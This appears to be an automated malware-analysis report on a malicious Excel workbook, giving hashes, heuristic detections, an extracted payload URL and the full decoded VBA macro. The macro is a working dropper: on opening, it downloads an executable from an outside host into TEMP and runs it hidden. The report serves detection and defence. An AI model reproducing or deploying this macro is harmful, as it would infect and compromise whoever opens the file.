Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 d3a8535840861f69…

MALICIOUS

Office (OOXML) / .XLSX

224.0 KB Created: 2026-01-27 07:26:24 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-06
MD5: 1105c56a1ec9204a6959e9b18708ee10 SHA-1: 28b3ed730d0d4ef002695383da1265d8ad102ff1 SHA-256: d3a8535840861f696bf6aaa969760be85d62c864f08a1c7b62370391556e06ef
478 Risk Score

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim xhr As Object, stream As Object, shell As Object
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Set shell = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        Dim xhr As Object, stream As Object, shell As Object
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            stream.Write xhr.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xhr = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
            exePath = Environ("TEMP") & "\a5c1D(" & i & ").exe"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://uploads.otzo.com/1D/a5c1D.exe Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1442 bytes
SHA-256: fa4ec4f4ade5c3fd558f4676a23b437bc24bf44bc794630b73de251cc14d1e58
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()
    Dim xhr As Object, stream As Object, shell As Object
    Dim exePath As String
    Dim i As Integer
   
    ' Find next available number
    For i = 1 To 100
        exePath = Environ("TEMP") & "\a5c1D(" & i & ").exe"
        If Dir(exePath) = "" Then Exit For
    Next i
   
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", "https://uploads.otzo.com/1D/a5c1D.exe", False
    xhr.Send
   
    If xhr.Status = 200 Then
        Set stream = CreateObject("ADODB.Stream")
        stream.Open
        stream.Type = 1
        stream.Write xhr.responseBody
        stream.SaveToFile exePath, 2
        stream.Close
       
        Set shell = CreateObject("WScript.Shell")
        shell.Run Chr(34) & exePath & Chr(34), 0, False
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: 6a67f56744adbf9f3d156716ac5933b0aa00b472298f22042ba964c5d4b6a251
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.